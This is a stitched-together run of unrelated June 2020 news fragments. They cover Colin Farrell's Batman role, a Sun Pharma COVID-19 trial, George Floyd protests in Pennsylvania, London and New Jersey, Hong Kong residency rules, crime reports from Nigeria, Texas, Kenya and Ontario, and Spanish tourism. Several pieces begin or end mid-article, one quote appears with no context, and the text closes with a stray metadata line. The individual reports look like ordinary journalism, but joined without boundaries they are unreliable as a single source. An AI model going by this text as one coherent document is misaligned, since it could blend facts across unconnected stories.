The 44-year-old soaked through his grey t-shirt, which he wore with the sleeves rolled up and paired with black Nike gym shorts.

He finished the look with a camouflage bandana wrapped around his head, a black face mask and black sneakers.

Colin wore some compression braces on his knees, after he underwent ACL surgery back in late 2018.

He walked his dog on a blue leash, as Claudine trailed close behind in a pink t-shirt printed with a peace sign.

Working up a sweat: The 44-year-old soaked through his grey t-shirt, which he wore with the sleeves rolled up and paired with black Nike gym shorts

Accessorizing: He finished the look with a camouflage bandana wrapped around his head, a black face mask and black sneakers

Out and about: Colin wore some compression braces on his knees, after he underwent ACL surgery back in late 2018. He walked his dog on a blue leash, as Claudine trailed close behind in a pink t-shirt printed with a peace sign

The Irish actor was recently gearing up for his role in the highly-anticipated The Batman, before production was halted in March.

He was announced to play the villainous Penguin, as Robert Pattinson stars as the titular caped crusader and Zoe Kravitz portrays Catwoman.

Farrell isn't the first actor that comes to mind when thinking of the grotesque bad guy formerly played by Danny DeVito in the 1992 installment Batman Returns.

He appeared on Jimmy Kimmel Live! in January, where the host echoed that logic, as Farrell responded: 'Yeah, but I have some time to eat.'

On hiatus: The Irish actor was recently gearing up for his role in the highly-anticipated The Batman, before production was halted in March (pictured in March, 2019)

Bad guy: He was announced to play the villainous Penguin, as Robert Pattinson stars as the titular caped crusader and Zoe Kravitz portrays Catwoman (pictured in September, 2018)

The Daredevil star added: 'We're still in the process of finishing the design of the aesthetic of the character.

'And I'm still in the process of talking to Matt Reeves, who is the director and wrote a really beautiful, dark, moving script. Really gorgeous.'

Farrell later told GMA News Online of his experience onset: 'I had only started it and I can't wait to get back.

'The creation of it, the aesthetic of the character, has been fun and I really am so excited to get back and explore it, it feels original and fun.'
Fadi Koria will be a first-generation college student at the University of Detroit-Mercy in the fall.

He cant talk to his parents about what their college experience was like because they didnt have one. Adding the coronavirus pandemic into the mix creates even more unknowns for Koria, but hes staying positive knowing he will still get an education.
The company received approval from Drugs Controller General of India for conducting the trials of phytopharmaceutical drug in April

New Delhi: Drug major Sun Pharmaceutical Industries on Friday said it has commenced phase-2 clinical trials on AQCH, a plant-derived drug, for potential treatment of COVID-19.

The company received approval from the Drugs Controller General of India (DCGI) for conducting the trials of the phytopharmaceutical drug in April this year, Sun Pharma said in a statement.

"The clinical trials will be conducted across 12 centres in India on 210 patients. The treatment duration for patients will be 10 days. The results of the clinical trials are expected by October 2020," it added.

Human safety study of AQCH has already been completed and the drug has been found safe at the recommended dose for phase-2 study, Sun Pharma said.

"This is the first phytopharmaceutical drug approved for clinical trials by the DCGI as a potential treatment for COVID-19. AQCH has shown anti-SARS-CoV-2 effects in in-vitro studies conducted in collaboration with ICGEB, Italy," Sun Pharma MD Dilip Shanghvi said.

These results combined with information on mechanism of action through in-vitro and small animal studies give us the confidence to evaluate this potential treatment option for COVID-19 patients, he added.

AQCH, which is being developed for dengue, has shown broad antiviral effect in in vitro studies and hence is being tested as a potential treatment option for COVID-19, Sun Pharma said.

"Our efforts to develop a safe, effective and affordable drug against dengue started about 13 years ago. The collaborating team quickly initiated studies for the development of a drug against COVID-19," Department of Biotechnology Secretary Renu Swarup said.

Stating that Council of Scientific and Industrial Research (CSIR) has had a close association with the Indian pharma industry, CSIR DG Shekhar C Mande said the council welcomes this collaboration with Sun Pharma in taking forward AQCH into clinical trials for COVID-19 patients. This collaboration aligns with our scientific rationale for the quickest way to develop drugs against SARS-CoV-2".

Shares of Sun Pharmaceutical Industries were trading at Rs 504.15 per scrip on BSE, up 1.67 per cent from their previous close.
It was a line of signs in black, white and red that Cynthia Rodriguez has brought out for more than eight years, since Trayvon Martin was fatally shot.

Hands up! Dont shoot!

End the abuse now.

Theyve seen a lot of rallies, said Rodriguez, who was wearing a fabric face mask with No justice, no peace written on it Thursday afternoon in Payrow Plaza between Bethlehem City Hall and the library.

The Allentown resident was there as part of the Black Lives Matter protest against police brutality, held five days after participants in a similar peaceful protest marched through the city.

Hundreds of black-clad participants, many carrying signs, filled the plaza on the sunny and warm afternoon, and then listened to organizers speak on combating police brutality and racism, and using the movement for positive change in the future.

As organizers spoke, loud chants of Black Lives Matter, No justice no peace and George Floyd, reverberated between the buildings and could be heard from blocks away in the surrounding neighborhood.

Floyds killing was a central theme at the protest, and signs referenced his death after Minneapolis police officer Derek Chauvin allegedly placed a knee on his neck for 8 minutes 46 seconds.

Chauvin and three other officers from the Minneapolis Police Department were fired.

Chauvin was initially charged with third-degree murder and manslaughter in Floyds death, but on Wednesday a second-degree murder charge was added against Chauvin. The three other officers -- Tou Thao, Thomas Lane and J. Alexander Kueng -- were charged with aiding and abetting murder.

Protest organizer Kennedy Hughes began listing the death toll, starting with Botham Jean, then Eric Garner, Tamir Rice, Eric Harris, Philando Castile and Ahmaud Arbery.

When she finished talking about Floyd, people in the crowd shouted more names, including Breonna Taylor and Mike Brown.

What needs to be said goes beyond just today, this week, or even this month. One of my greatest fears is that after the social media posts and the protests slow down, and we go back to work, and after the world returns to somewhat normal, the majority of America will be silent again until another murder is caught on film, organizer Joshua Smith, 27, told the crowd. That cant happen.

Smith said he wanted to be able to feel safe in his own country.

"Im tired of my skin color being taken as a threat before someone even knows my character. Im tired of me and black bothers and sisters being pulled over because our skin color creates suspicious activity, he said.

Cyndria Pugh, an organizer from Montgomery County, read the rules of police officers use of force, which ends with killing a suspect.

Why is that the first one they go to? she asked, as someone in the crowd yelled, I cant breathe!

Organizer Sydney Duffy, who is from Bethlehem, spoke of the sacrifice white people will need to make to combat racism in their own lives.

There will be times where you may lose friendships or family relationships due to the ignorance that they choose to pursue," she said, later adding, Fight for what matters. Fight for justice. Fight for their human rights.

The speakers urged support for black businesses, for the crowd to educate themselves on black art and culture, and to give space and amplify black voices.

They touched on improving mental heath resources and funding, establishing a civil review board for misconduct in local police departments, and for the Bethlehem Area School District to end its use of city police as school resource officers.

We need healing from the trauma America has inflicted upon us for hundreds of years. This is not -- is not -- an issue that can be solved overnight. At all, Matty Fall said. We will be doing this for years to come, and years after, and were going to keep working toward it until we see the results we want to see. Its an ongoing process and we have to keep on working at it, and I hope it really doesnt stop here.

The protest comes a day after Bethlehem police Chief Mark DiLuzio released a statement that he was horrified at the callous actions of the police officer kneeling on Mr. Floyds neck and the inaction of the three other police officers.

He also denounced looting and violence at nationwide protests.

Organizer Michael Henriquez urged attendees to look at their relationships, with family and friends and at their jobs.

Its time to break the silence. ... It is always an appropriate time to call out racism, he said. No one is free until everyone, including black lives, are free.

For those that stay silent, who ignore cries from the black community, You have as much blood on your hands as the offenders, Henriquez said. We are the change America needs to see. We are the future.

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Sarah Cassi may be reached at scassi@lehighvalleylive.com.
Boris Johnson, the British Prime Minister, pledged on Wednesday to amend immigration rules to allow 3 million Hong Kong residents a pathway to British citizenship in retaliation to Beijing's security law implementation in Hong Kong.

Democratic countries like the United Kingdom, the United States, Canada, and Australia are facing the decision to accept Hong Kong refugees who are fleeing from Hong Kong and its implementation of the security law.

Hong Kong was promised a high degree of autonomy when handed back to China in 1997 after being under British rule for 156 years.

However, the Chinese parliament feared the influence of the democratic ways of Hong Kong and approved the new security law on May 28, with goals to destroy Hong Kong's autonomy and freedom.

Johnson expressed his sympathy for the Hong Kong protesters by saying that the Chinese security law gives Britain "no choice but to uphold our profound ties of history and friendship with the people of Hong Kong."

Johnson's offer for the refugees is that the government would allow holders of British National (Overseas), or BNO, passports to come to Britain for a renewable period of 12 months and obtain the right to work. Johnson added that this plan can "place them on a route to citizenship."

The BNO passports issued to people born before 1997, currently allow holders to stay in Britain for six months but cannot obtain rights to work or residency.

On the other hand, China's Foreign Ministry responded that Britain has no jurisdiction over Hong Kong and that Britain must "step back from the brink" and "stop interfering in Hong Kong's affairs and China's internal affairs."

In the Sino-British Joint Declaration, the UK and China agreed to preserve Hong Kong's political freedoms and way of life until 2047. However, with the new security law that Beijing is implementing in Hong Kong, it is repressing Hong Kong's freedoms and way of life.
Sadiq Khan has said he will not attend Black Lives Matter protests in London because of the coronavirus pandemic - as a senior Met Police officer warns that future mass gatherings would be 'unlawful'.

Deputy assistant commissioner Laurence Taylor said gathering in crowds meant those protesting the death of George Floyd risked their own health and the wellbeing of others amid the Covid-19 crisis.

He told BBC Radio 4's Today programme the current restrictions are 'really clear' that large gatherings were unlawful, and the Government has insisted people should not meet up in groups of more than six.

'We would strongly encourage people not to come out and gather in these large numbers because they are putting themselves and others at risk,' Mr Taylor said.

'And if they do come out, then we would ask them to observe that social distancing, think about those around them.'

London Mayor Mr Khan expressed sympathy for demonstrators protesting the 'brutal death' of Mr Floyd, but said he would not be attending protests due to the coronavirus pandemic - and urged those who do go to follow 'medical and scientific advice'.

Laurence Taylor, deputy assistant commissioner at the Metropolitan Police, warned that future mass gatherings to protest against the death of George Floyd would be 'unlawful' due to the current restrictions in place

Mr Khan said: 'That means keep two metres apart from anyone else not from your home, that means where you think you may come into interaction with somebody else wear a non-medical facial covering, that means where you can't wash your hands regularly and thoroughly carry around a hand sanitiser with you.

'Just imagine how you would feel, protesting because you feel strongly about the brutal death of George Floyd, you understand the importance of black lives, they do matter, but you inadvertently caught the virus, went home and gave it to your elderly mother or father who caught the virus and may unfortunately lose their lives.

'That's why it's so important, I understand how strongly people feel about this, particularly black Londoners and black British citizens, but please make sure you follow the advice.'

He said he would not attend the protest because he did not want to catch the virus and bring it to his mother, who has underlying health conditions.

Mr Khan also told Sky News: 'If you feel that personally that you've got to go and protest - I personally am not - please make sure you follow the advice, keep two metres apart.'

Sadiq Khan told Sky News: 'If you feel that personally that you've got to go and protest - I personally am not - please make sure you follow the advice, keep two metres apart'

Demonstrators scuffle with members of the Tactical Support Group police officers during a Black Lives Matter protest on June 3 in London

Crowds have gathered in London and Birmingham this week to protest over the death of Mr Floyd, 46, after an officer held him down by pressing a knee into his neck in Minneapolis on May 25.

It sparked days of protest in the US and Black Lives Matter (BLM) demonstrations across the world.

Now Michael Lockwood, director general of the Independent Office for Police Conduct (IOPC), which oversees complaints made against forces in England and Wales, has urged officers to listen to ethnic minority communities.

Writing in The Independent, he said: 'Right now, communities in the UK are expressing real and growing concerns about disproportionality.

London Mayor Mr Khan expressed sympathy for demonstrators protesting the 'brutal death' of Mr Floyd (pictured), but said he would not be attending protests due to the coronavirus pandemic - and urged those who do go to follow 'medical and scientific advice'

Members of the campaign group Black Lives Matter and supporters, gather in central London to demonstrate on June 3

'Only two weeks ago we highlighted increasing community concerns about the use of Taser.

'We are also hearing concerns about stop and search and, most recently, fines issued during lockdown being disproportionate to black people.

'There must be more research to understand issues of disproportionality, as well as assurance and scrutiny around tactics like use of force and stop and search.'

Protesters in Birmingham on Thursday 'made their voices clearly heard', police said, but there were no arrests and no disorder.

Crowds gathered in the city's Centenary Square, where a silence was observed in memory of Mr Floyd.

Demonstrators, many wearing protective face masks, had been due to congregate in nearby Victoria Square but moved to the larger area to aid social distancing.

Several hundred people then headed to an area outside West Midlands Police's Lloyd House HQ, where many of them knelt or sat in the road with their fists raised.

The protest came after pockets of protesters clashed with police as thousands of people flooded into central London and abandoned social distancing for a BLM demonstration on Wednesday.

A heavy mounted police presence watches over as Members of the campaign group Black Lives Matter and supporters, gather in central London to demonstrate, June 3

After a largely peaceful demonstration in Hyde Park, during which Star Wars actor John Boyega gave an impassioned speech, tensions later escalated outside Downing Street.

The Metropolitan Police said 13 people were arrested.

Demonstrations across the US have included clashes between police and protesters, with officers recorded firing tear gas and rubber bullets on crowds.

Mr Floyd's body is to go to Raeford, North Carolina, where he was born, for a two-hour public viewing and private service for the family on Saturday.

A public viewing will be held on Monday in Houston, where he lived most of his life.

Prime Minister Boris Johnson said he was 'appalled and sickened' to see what happened to Mr Floyd, while chief constables from across the UK issued a joint statement saying they 'stand alongside all those across the globe who are appalled and horrified'.

An online-only rally is due to take place this Sunday, campaign group Stand Up to Racism said, with speakers to discuss 'how we turn the new wave of anger over racism and injustice into an effective movement for change'.
A 25- year- old man Ezekiel Yunana is in police custody for raping a 85- year- old grandmother in Rafi local government area of Niger state.

The victim reported that she was sleeping when the suspect broke into her room through the window and forcefully had carnal knowledge of her.

She explained that Ezekiel had threatened to kidnap her, asking her to pay a large sum of money, which she told him she didnt have.

The victim said that the suspect r.a.p.e.d. her for a very long time before she was rescued by her grandson, Ishaku Achidawa, who was able to identify him.



Confessing to the crime, Yunana said he r.a.p.e.d her since she did not have any money to give him.

The Police Public Relations Officer (PPRO), ASP Abiodun Wasiu, explained the Police Divisional Office in Kagara recieved the complaint from the grandmother and her grandson and arrested the suspect.

He added that the suspect had confessed to committing the crime, adding the case will soon be charged to court.

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Over the past week, millions of protesters across the country spoke out against racial injustice, police brutality and the death of George Floyd.

As cities enacted curfews, and reports of aggressive police tactics spread, many have raised concerns about what rights protesters have.

Organizations including the ACLU and the Legal Aid Society have emphasized the importance of protesters knowing their legal rights.

Another concern that many protesters share is whether their actions could impact their livelihoods, with some wondering, "Can I be fired for protesting?"

While it's unclear whether any protesters have been fired, a common misconception is that the First Amendment protects protesters' jobs, says Jonathan Bell, a New York-based labor attorney.

"A lot of people say, 'Well, what about the First Amendment? Doesn't it protect our right to protest?' The answer is yes. The First Amendment does protect an individual's right to protest, but it doesn't afford any protection for employment," he says. "Freedom of speech does not mean that your employer can't terminate you for any reason, especially if you're an employee at will."

CNBC Make It talked with protesters in New York and Washington, including several who spoke on condition of anonymity, saying they feared their participation in demonstrations could lead to negative consequences in their careers.

"Yesterday, I lied to my boss to go to a protest. It didn't occur to me to tell them what I was doing," a black woman who works for a start-up in New York City told Make It. "I have a white friend who emailed her boss explaining she was going to a protest and got approved for time off. I'm worried about the message it would send about me being 'radical' if I asked, whereas I feel like my white friend was able to ask because it signals to her boss that she's a 'good person.'"

One 22-year-old protester based in Washington, who works as an account management associate, said he was explicitly told protesting could "result in termination," but ultimately he felt standing up for what he believed in was most important.

A 30-year-old New York-based protester who works for a nonprofit and uses they/them pronouns also worried that protesting could result in getting fired but feels strongly it's the right thing to do.

"There are many reasons I'm still out protesting. The violence has been so intense and deserves witness and response, and I feel such grief for my fallen trans siblings," they said, referencing Tony McDade, a black trans man who was shot and killed by a police officer in Tallahassee, Florida, last week. Police said that while investigating a fatal stabbing, McDade was in the area, matched the description of the suspect and was shot after pointing a gun at an officer.

"There are so many young kids out there!" the protester said. "The cops are going after them with greater force. They want to intimidate us to staying home."

"And ultimately, I'll be fine if they fire me. How many millions of people are without work right now?"

Others said they've felt supported by their employers. In one instance, a 29-year-old New York protester who works as a director of brand communications said her manager let her skip a meeting in order to go to a demonstration.

"My boss asked if I wanted to join a call, and I knew I had the space to tell her I can't because I was going to a protest. Her response was, 'That is more important,'" said the protester. "Our black friends and family need us more than ever. They are exhausted, we need to show up for them in every way possible."

Human resources and legal experts tell CNBC Make It there are several factors to consider when determining if a person can be fired for attending a protest. Here are a few of them:
Active Shooter in Custody After Incident at Louisiana Target: Police

One person is in custody after an active shooter incident near a Target in Hammond, Louisiana, said police.

No one was injured or killed, officials told local media outlets.

Louisiana State Police told The Advocate that one person was taken into custody, and the incident is being investigated.

An employee from a nearby business told WWL-TV that they heard shouting in the parking lot but didnt hear shots fired. Authorities told WBRZ that there were reports of a shooting.

Authorities didnt release any more information about the incident. They also did not elaborate on the status of the suspect.

The Target is located in a large mall area at the intersection of Interstate 12 and SW Railroad Ave, WBRZ noted.

Witnesses told the outlet they saw large numbers of people leaving the Target and mall area as police arrived.

On social media, some users said that the active shooter was inside the Target, local radio station B97 reported.
Triple M's Lawrence 'Moonman' Mooney managed to put a smile on his colleagues' faces on Friday, but at his expense.

The breakfast host, 55, attempted to 'flip a couch' with his producer - but the stunt backfired during an ad break.

Video of the terrifying moment showed the two counting down before jumping up on the sofa to push it on its side.

Ouch! Triple M host Lawrence 'Moonman' Mooney suffered a fall while attempting to 'flip the couch' with a producer on Friday

His producer managed to flip the sofa over and land on the other side, but Lawrence misplaced his foot.

The unfortunate mistake caused him to fall backwards and land on the floor behind him, almost knocking over a nearby table.

While the producers ran to his aid, his co-hosts Jess Eva and Chris 'Pagey' Page could be heard giggling in the background.

That's got to hurt: The producer manages to flip the sofa over and land on the other side, but Lawrence misplaces his foot. The unfortunate mistake causes him to fall backwards and land on the floor behind him, almost knocking over a nearby table

Here to help: While the producers run to his aid, his co-hosts Jess Eva and Chris 'Pagey' Page can be heard giggling in the background

After the break, Jess recalled the failed stunt and said: 'I don't know what's wrong with human beings, but when you someone else get hurt it's really exciting.'

Although the fall was a bruise to the ego, Lawrence said: 'I gotta say it put the office in such a good mood.'

'So high spirited horse play, hijinx, mucking around can really put a smile on everyone's face,' he added.

Hilarious: Co-host Jess Eva told listeners about the failed stunt and said: 'I don't know what's wrong with human beings, but when you someone else get hurt it's really exciting' (Pictured left to right: Chris 'Pagey' Page, Jess and Lawrence 'Moonman' Mooney)

'Why aren't there signs?' Earlier this year, co-host Jess - who was a former contestant of The Block - broke down on air after Lawrence revealed she had allowed her children to swim in the Parramatta River which has unsafe amounts of enterococci, a bacteria that can cause cholera

Earlier this year, co-host Jess - who was a former contestant of The Block - broke down on air after Lawrence revealed she had allowed her children to swim in contaminated water.

The experts at the Sydney Environmental and Soil Laboratory (SESL) revealed that the Parramatta River has unsafe amounts of enterococci, a faecal bacteria that can cause cholera.

'Why aren't there signs?' Jess asked, as she broke down in tears.

Lawrence explained: 'It's basically an infection of the small intestine that kills you through dehydration.'

'We've been swimming in faeces...' she wept.
Brussels, June 5 : The latest round of talks between the European Union (EU) and the UK on a post-Brexit trade deal were coming to an end, with little sign so far of a breakthrough, a media report said on Friday.

Thhe latest four days of online talks this week were seen as the last chance to make progress before a crucial summit later this month, said the BBC report.

But the two sides have been critical of each other's negotiation stance.

The UK has until the end of June to ask for the "transition period" - keeping it in the single market and customs union - to be extended into next year, but the government has ruled this out.

Businesses - hit by the coronavirus pandemic - have raised concerns over a possible "cliff-edge" break to the UK's remaining access to the EU single market at the end of the year with no replacement deal.

EU chief negotiator Michel Barnier, who is due to make a statement in Brussels later on Friday, accused the UK of backtracking on previously agreed commitments, warning the EU would not sign up to a deal "at any cost".

Downing Street responded by accusing the EU of making a series of "unbalanced" demands binding the UK to EU laws and standards to an unprecedented degree for a trade deal.

The two sides are also in dispute over fisheries, with the UK resisting EU demands for continued long-term access to British waters, the BBC reported.

The UK left the EU on January 31. The transition period lasts until December 31 and keeps the UK bound to most EU rules.

The sides currently have until then to reach a free-trade deal, needed if they want to do business without tariffs, quotas or other barriers in future.
A march from Scotch Plains to Westfield that drew 1,000 people to protest police brutality following George Floyds death in Minneapolis was the work of four young adults.

None had organized such an event, and they pulled off their goal Thursday of raising awareness of the Black Lives Matter movement to their hometowns.

Growing up in these towns, for at least 17 years, we just felt like we need to start in our communities, Morghan Johnson, 21, said. We want to normalize the conversation that black lives matter.

She was joined in organizing by her sister Briana Johnson, 23, and friends Kobe White, 22, and Megan Troutman, 22.

Westfield Police Chief Christopher Battiloro said the march was entirely peaceful, without any incidents.

Its great people are exercising their constitutional rights, and were here to protect that, Battiloro told NJ Advance Media before joining in with marchers.

A protester at the Westfield train station, June 4, 2020.Patti Sapone | NJ Advance Media

Over 80 protests have been held across New Jersey since Floyd, who was black, was killed by white Minneapolis police officer Derek Chauvin, who now faces second-degree murder.

The organizers expected about 200 people, and were thrilled when about 1,000 people participated, a number estimated by the chief.

We knew it got around, but we did not know this amount of people would show up, Morghan Johnson said. Although most marchers were Union County residents, some protesters came from out of state to march with friends, with one coming in from Washington, D.C.

Organizers worked with police to ensure the safety of everyone involved, and police redirected traffic around the march route.

The support from the police department was really overwhelming as well, we really appreciated them coming together and helping to make this walk happen, Morghan Johnson said.

The march began with an 8-minute, 46-second moment of silence to represent the length of time Chauvin knelt on Floyds neck.

It was overwhelming and uncomfortable how long that is, Morghan Johnson said, saying it was one of the most impactful parts of the day for her.

From left, Megan Troutman, Kobe White, Morghan Johnson and Briana Johnson organized a march from Scotch Plains to Westfield that drew 1,000 people.

After the moment of silence, the march traveled from Park Middle School in Scotch Plains to the Westfield train station, with chants of I cant breathe and Say their name, followed by the names of black people recently killed by the police.

Getting to stand in solidarity with our black brothers and sisters who just need us to speak up for them it was really, really a great day, Troutman, who is white, said.

Organizers and marchers said the protest of Floyds death felt different from similar outcry following the deaths of Travyon Martin or Michael Brown.

It seems like more people are ready to listen, Hunter Marshall, a 21-year-old Scotch Plains resident, said as he marched with his friends. Weve seen [the difference] already. Weve seen that [arrests] have been made.

This situation with George Floyd definitely popped the pimple, organizer Koby White said. He added that the divisiveness of the Trump presidency and the officers involved in Floyds death being charged both marked significant difference from previous police brutality protests.

It was a hot day, with temperatures reaching nearly 90 degrees. At least two people required medical attention, including one who fainted from the heat at the start of the march, police said.

Priests and residents watching from their front lawns handed out cold bottles of water to marchers, and EMTs clapped and cheered as protesters walked past their ambulances.

EMS & protestors clapping and thanking each other pic.twitter.com/kdWCfJ5pAq  katie kausch (@KatieKausch) June 4, 2020

Although the organizers and participants were overwhelmingly young adults and teens, a number of adults marched alongside them.

Ive been involved with this movement since the 60s. I marched back then. This is my town, and Im very proud of them, Bruce Davis, a longtime Scotch Plains resident and substitute teacher, who is white, said of the younger marchers.

Despite the march being significantly over Gov. Phil Murphys 25-person cap on outdoor gatherings, Battiloro said he did not have any concerns about coronavirus, citing the prevalence of masks and the march being outside.

Virtually all marchers wore masks, and several had on rubber gloves. Most were closer than 6-feet apart from other groups.

Following Saturdays protests in Newark, Murphy and Newark Mayor Ras Baraka urged all participants to be tested for the coronavirus.

Despite the pandemic, the organizers were glad to see a racially diverse crowd protesting and having conversations about racial inequalities.

Posting it on Instagram and social media is one thing, but getting out and communicating and talking to your peers, your families, your loved ones, thats another one because thats where they step out their comfort zone and be able to talk about these situations, Morghan Johnson said.

Its not just about my race, its about everybodys races too, White, who is black, said. We all have to get together, we all have to listen to one another."

Thousands of protestors gather at the Westfield train station after they marched from Scotch Plains to Westfield on June 4, 2020.Patti Sapone | NJ Advance Media

Thank you for relying on us to provide the journalism you can trust. Please consider supporting NJ.com with a voluntary subscription.

Katie Kausch may be reached at kkausch@njadvancemedia.com. Tell us your coronavirus story or send a tip here.
Events of the past week have sorely tested Australias long-standing ties with the US and raised serious questions about what a second term for President Donald Trump would do to the alliance.

The US was already struggling to deal with the COVID-19 pandemic but that health disaster has now been compounded by the conflict over the murder by Minnesota police of African American George Floyd.

The streets of the countrys great cities, empty until a few days ago because of lockdown, have filled with protesters demanding justice and police trying to block their progress.

Australia has its share of racial problems and it has also faced race protests and even riots over the years but what has stood out on this occasion is Mr Trumps brutal formula for dealing with the unrest.

Most leaders in democratic countries would have responded by acknowledging the legitimate grievances about police brutality and unfair treatment that drove tens of thousands of people on to the streets. They would promise reform while at the same time urging the protesters to respect the law. That sort of compromise is, for instance, how French President Emmanuel Macron rode out the prolonged Yellow Vest protests two years ago.
A family of six was found dead at a Far North Side home Thursday after police conducting a welfare check came across a cryptic note and chemical odor, which led to an evacuation.

The bodies of a husband, wife, four children and two cats were found in the garage of the home in the 100 block of Red Willow, San Antonio Police Chief William McManus said.

POLICE BRUTALITY: Texas State student brain damaged after being shot by Austin police at protests

While McManus said suicide was a possibility, he declined to elaborate. He did say there is evidence that the deaths were not an accident.

The couple was in their mid- to late 30s, McManus said, and the children were between 11 months to 4 years old.

McManus said police were called at 10:30 a.m. for a welfare check of the husband, who was working from home, when he didnt check in with his place of employment.

They were OK yesterday because he checked in with his work, McManus said. So it happened sometime overnight.

McManus said seven officers walked inside the home and were immediately overcome by a heavy, noxious fume. They were checked by EMS and determined to be unharmed. Late Thursday, McManus said the odor was carbon monoxide.

Most officers know what the smell of decomposing bodies is, and thats not what has been described, the chief said.

MURDER-SUICIDE: Texas woman shot and killed her two children then herself

On the front door was a cryptic note with military jargon, the chief said.

A member of the military helped police with a translation: Bodies or people inside, do not enter, the chief said.

It continued: The animals are in the freezer.

A drone sent inside the house found what appeared to be explosives, preventing police from immediately searching the home in the 100 block of Red Willow at the Heights at Stone Oak subdivision, and prompting the evacuation of more than 200 homes nearby at about 5 p.m.

After officers encountered the carbon monoxide, officials weighed how to continue their investigation.

We believe this place may be booby-trapped, and we have not determined the best way to make entry yet, McManus said at a 5:30 p.m. news conference.

McManus said at about 10 p.m. that no explosives were found inside the home.

Based on the note that we received, we were very cautious about going in, and we were trying to find out what was in there before we made entry, the chief said.

When officials were able to enter the home, the family was found in the garage.

McManus said the family was found in the back of a small SUV, investigators said.

The cats were in a basket in the front seat, he said.

The husband was a member of the military and lived with his wife and children, investigators said. The chief declined to say which branch the man served.

Police said they have only been called to the home, which the family had rented since January, once in the last six months.

Evacuees were allowed back into their homes by about 9 p.m.

Joseph Arrington, a San Antonio Fire Department spokesman, says the evacuation alert that was first sent encountered a glitch and was accidentally sent to the entire North Side before operators could specify the perimeter.

The FBI and military were assisting police with the investigation.

McManus said homicide detectives are combing the home for additional evidence.

This is just the beginning of the beginning of the investigation, McManus said.
I respect the fact that people across this nation are angry and frustrated about the ongoing lack of attention to issues of inequality, racism and the maltreatment of African Americans. I agree that we should be much farther down the road toward a more equal and just society, McMahon said. The individuals (facing charges) were more interested in mayhem. ... All are opportunistic criminals who sought to steal the spotlight away from those who were demonstrating, whether by looting, engaging in violent conduct or putting someones life and safety at risk.
The date for the arrival of the first international tourists in Spain after the coronavirus crisis is still unclear after mixed messages from the government on Thursday. Minister for Tourism Reyes Maroto's announcement that land borders with France and Portugal would open on 22 June was later rectified in a statement issued by the government headquarters, Moncloa, which confirmed that the date for the start of "safe international movement" was still 1 July.

The rollercoaster ride for the Spanish tourism industry took a dive earlier this week when Germany, the country's second biggest source market for foreign visitors after the UK, said that its citizens could travel around Europe from 15 June, except to Spain and Norway. The reason given, however, was reciprocity and the Spanish foreign minister, Arancha Gonzalez Laya, said that Germany would lift its veto "as soon as Spain allows the arrival of tourists".

The Balearic and Canary islands remained hopeful this week that the government would allow international tourists to their destinations before the rest of Spain, after the state of alarm is lifted on 21 June.

The government said earlier this week that it was working on establishing safe air bridges, initially between the Spanish islands and Germany and Scandinavian countries.

The situation with UK visitors is more complicated, however, due to the still high rate of Covid-19 infection in the country and the quarantine regulations due to come into force this coming Monday. Pandemic figures there still "need to improve" said Maroto on Wednesday.

New flights scheduled

Meanwhile airlines continue to announce plans and this week Easyjet has said that it will resume operations on the Costa del Sol this summer. It will be operating 50 per cent of its flights in July, it said, and 75 per cent in August. On its new schedule are flights between the Costa del Sol and 17 European destinations, including Amsterdam, Belfast, Bristol, Basel, Paris, Glasgow, Geneva, London (Gatwick, Southend, Luton and Stansted), Liverpool, Manchester, Milan, Newcastle, Berlin and Toulouse. Air Europe has said it will start routes up again between Malaga and Madrid and Paris from 15 July.
- Mercy Waihiga Wanjiku alias Linda lured her victim to an office at Jogoo House where she issued him with fake tender documents to supply anti lock jampins

- The victim went ahead to purchase the items and delivered them to a parastatal vehicle near Agip House as directed

- She allegedly obtained KSh 1.7 million from her victim by false pretense while posing as a procurement officer at the Ministry of Interior

A woman at the centre of Ministry of Health scandal in which a business lost KSh 37 million in non-existent tender has been arrested again for different accusation.

Mercy Waihiga Wanjiku alias Linda was arrested at the Milimani Law Courts by the Directorate of Criminal Investigations (DCI) in connection to KSh 1.7 worth of anti lock jampins from a victim.

READ ALSO: Coronavirus: Magufuli asks police to arrest, question those distributing free masks

Recently, Wanjiku was said to have asked Ibrahim Adan to supply masks, thermometers and gloves to Afya House. Photo: Daily Nation.

Source: UGC

READ ALSO: MP William Chepkut asks Uhuru to extend curfew for another 21 days

According to the DCI, Wanjiku allegedly obtained money from a businessman by false pretense while posing as a procurement officer at the Ministry of Interior.

The suspect lured her victim to an office at Jogoo House where she issued him with fake tender documents to supply the materials.

READ ALSO: Coronavirus update: Kenya registers 134 more cases

READ ALSO: CS Magoha left disappointed after 3 Form 1 girls he helped acquire scholarship get pregnant

The victim went ahead to purchase the items and delivered them to a parastatal vehicle near Agip House as directed.

He was to proceed to Jogoo House procurement section for payments but the suspect had switched off her phone immediately after the delivery.

"The same suspect has been charged with other offences relating to fake tenders at Afya House, and was nabbed at the court premises where she had been arraigned in answer to them," the police said.

In the first scandal which happened at the Afya House scandal, Wanjiku was said to have asked Ibrahim Adan to supply masks, thermometers and gloves KSh 37 million to the Health Ministry.

A meeting was organised at Afya House where Adan met one of the suspects in a boardroom which was apparently being used by the Ministry's human resource department.

Wanjiku then handed him a fake Local Purchase Order but there was a slight complication with the equipment to be supplied.

He was asked for KSh 3 million bribe and only managed to raise KSh 2.3 million which he handed over to the suspects and immediately a lorry and a truck with AP service colours carried the items away in the escort of rogue police officers.

Do you have a hot story or scandal you would like us to publish, please reach us through news@tuko.co.ke or WhatsApp: 0732482690 and Telegram: Tuko news.

Why I beat my own mother- Lucy Nyawira | Tuko Talks | Tuko TV.

Source: TUKO.co.ke
A teenage boy is facing charges that include attempted murder after 79-year-old woman was stabbed in Oakville, Halton police announced in a news release on Friday.

The stabbing happened at around 8 a.m. on Wednesday at a residence on Melvin Avenue, near Chartwell and Cornwall Roads in Oakville. The woman was taking to hospital with non-life threatening injuries. As of Friday afternoon, she remains in stable condition.

A 15-year-old boy from York Region was arrested and charged with attempted murder and breaking and entering with the intent to commit an offence. He had fled the scene prior to the arrival of police, but was later arrested on a bus in Peel Region.

Under the Youth Criminal Justice Act, the identity of the teen cannot be published. However, Halton police confirmed that the suspect and the victim are known to each other.

TY Tom Yun is a breaking news reporter, working out of the Star's radio room in Toronto. Follow him on Twitter: @thetomyun
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Linkedin Christine Murray (Reuters) Mexico City, Mexico  Fri, June 5, 2020 08:01 595 fc6853813033f564188675f8bdc44236 2 Entertainment Marvel-Cinematic-Universe,Marvel-comics,migrant-workers,Latin-America,comic-book,superhero,united-states Free

